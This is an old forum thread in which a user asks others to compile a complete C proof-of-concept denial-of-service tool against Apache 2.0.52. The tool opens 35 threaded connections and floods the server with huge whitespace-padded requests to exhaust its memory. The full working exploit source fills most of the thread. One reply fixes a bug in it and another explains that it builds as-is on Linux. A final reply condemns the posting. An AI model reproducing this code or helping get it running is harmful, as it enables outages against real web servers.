Overclock.net - Overclocking.net
     
 
Home Gallery Reviews Blogs Register Today's Posts Mark Forums Read Members List


Go Back   Overclock.net - Overclocking.net > Software, Programming and Coding > Coding and Programming > Application Programming

Reply
 
LinkBack Thread Tools
Old 04-22-09   #1 (permalink)
nVidia Enthusiast
 
kylej866's Avatar
 
intel nvidia

Join Date: Mar 2009
Location: West Virginia US
Posts: 147

Rep: 4 kylej866 Unknown
Unique Rep: 4
Trader Rating: 0
Default C Code compiling

I have a C code and I have tried to compile it with random compilers. I have tried codeblocks, Miracle C, Microsoft Visual C++. All with some weird error during compiling.

+Rep for someone to compile this code for me
(tell me if +rep is not good enough )

Code:
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52

j0hnylightning@gmail.com
dguido@gmail.com

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

More info:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];

int main(int argc, char **argv){
       int num_connect;
       int ret;
       pthread_t tid[35];

       sprintf(letsGetStarted, "GET / HTTP/1.0\n");
       memset(attackBuf, ' ', 8000);
       attackBuf[7998]='\n';
       attackBuf[7999]='\0';

       if (argc != 2){
               fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
               exit(1);
       }

       for(num_connect = 0; num_connect < 35; num_connect++){
               ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
       }

       /* assuming any of these threads actually terminate, this waits for
all of them */
       for(num_connect = 0; num_connect < 35; num_connect++){
               pthread_join(tid[num_connect], NULL);
       }

 return 0;
}

void *squirtIt(char *hName){
       int sock, i;
       struct hostent *target;
       struct sockaddr_in addy;

       if((target = gethostbyname(hName)) == NULL){
               herror("gethostbyname()");
               exit(1);
       }

       if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
               perror("socket()");
               exit(1);
       }

       addy.sin_family = AF_INET;
       addy.sin_port = htons(DEST_PORT);
       bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
       memset(&(addy.sin_zero), '\0', 8);

       if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
               perror("connect()");
               exit(1);
       }

       send(sock, letsGetStarted, strlen(letsGetStarted), 0);

       for(i=0; i < 8000; i++){
               send(sock, attackBuf, strlen(attackBuf), 0);
       }

       close(sock);
}

// milw0rm.com [2004-11-18]
__________________

Quote:
Originally Posted by the_milk_man View Post
just remember that when it comes in the mail to give it a whole live cow as a sacrifice before installing it
I am 0% addicted to World of Warcraft. What about you?
^ Because I have a life

System: Asus G50VT-X1
CPU
Core 2 Duo P8400 2.26GHz
Memory
4GB DDR2 800
Graphics Card
NVIDIA GeForce 9800M GS 512MB GDDR3
Hard Drive
320GB 7200 RPM
OS
Windows Vista Ultimate 64bit
Monitor
16.5" Glossy Display
kylej866 is offline   Reply With Quote
Old 04-22-09   #2 (permalink)
Case Modder
 
Spotswood's Avatar
 
Join Date: Jul 2008
Location: New Hampshire, USA
Posts: 236

Rep: 46 Spotswood is acknowledged by some
Unique Rep: 39
Trader Rating: 0
Default

squirtIt() doesn't return anything.
__________________
Rich
Custom Wooden Case Builder
Overclock.net Mod of the Month
Spotswood is offline   Reply With Quote
Old 04-22-09   #3 (permalink)
Off By 340 Undecillion
 
The Bartender Paradox's Avatar
 
amd nvidia

Join Date: Oct 2004
Location: Portland, Oregon
Posts: 2,471

Rep: 368 The Bartender Paradox is a proven memberThe Bartender Paradox is a proven memberThe Bartender Paradox is a proven memberThe Bartender Paradox is a proven member
Unique Rep: 276
Hardware Reviews: 1
Trader Rating: 3
Default

Quote:
Originally Posted by kylej866 View Post
I have a C code and I have tried to compile it with random compilers. I have tried codeblocks, Miracle C, Microsoft Visual C++. All with some weird error during compiling.

+Rep for someone to compile this code for me
(tell me if +rep is not good enough )
Err, it's not working because you're trying to compile it on Windows; its got Unix system calls in it. It compiles just fine as written on Linux with the compile command provided in the comments.
__________________
Congratulations! You have foundthe secret text! You get a cookie.

System: ½
CPU
AMD A64 3500+ Winchester
Motherboard
DFI nF4 SLi-DR
Memory
OCZ 4000VX
Graphics Card
EVGA 7800GT
Hard Drive
Maxtor 300Gb 16Mb Buffer
Sound Card
computers make sounds?
Power Supply
OCZ PowerStream 520W
Case
None
CPU cooling
Big
GPU cooling
Bigger
OS
XP Pro
Monitor
SOYO LCD
The Bartender Paradox is offline Overclocked Account The Bartender Paradox's Gallery   Reply With Quote
Old 05-12-09   #4 (permalink)
Security Sleuth
 
Pooping^fish's Avatar
 
intel nvidia

Join Date: Jul 2007
Location: egypt
Posts: 1,267

Rep: 67 Pooping^fish is acknowledged by some
Unique Rep: 62
Trader Rating: 3
Default

Be any more obvious? Dont post malicious code (especially lame ones such as this) on a proper board.

If youre going to try an attack, atleast understand it.
__________________
Quote:
"O, hai! Want som pRon? Dwnlod ths kodk frst. Its teh bst pRonz ever, we prmis." -GibbyGano
Proud Member of the Linux Gaming Community
I am your friend.

System: ragequit
CPU
Q9550 4ghz @ 1.25v
Motherboard
Asus Max 2 formula
Memory
OCZ LV blade 1:1 950mhz
Graphics Card
8800gtx 610/1ghz
Hard Drive
7200.10 250gb
Sound Card
X-FI Extreme Music
Power Supply
750w Toughpower
Case
Lian li pc-65
CPU cooling
TRUE
GPU cooling
stock
OS
leetlinucks
Monitor
24" Westy
Pooping^fish is offline   Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools



All times are GMT -5. The time now is 12:58 AM.


Overclock.net is a Carbon Neutral Site Creative Commons License

Terms of Service / Forum Rules | Privacy Policy | DMCA Info | Advertising | Become an Official Vendor
Copyright © 2009 Shogun Interactive Development. Most rights reserved.
Page generated in 0.11686 seconds with 8 queries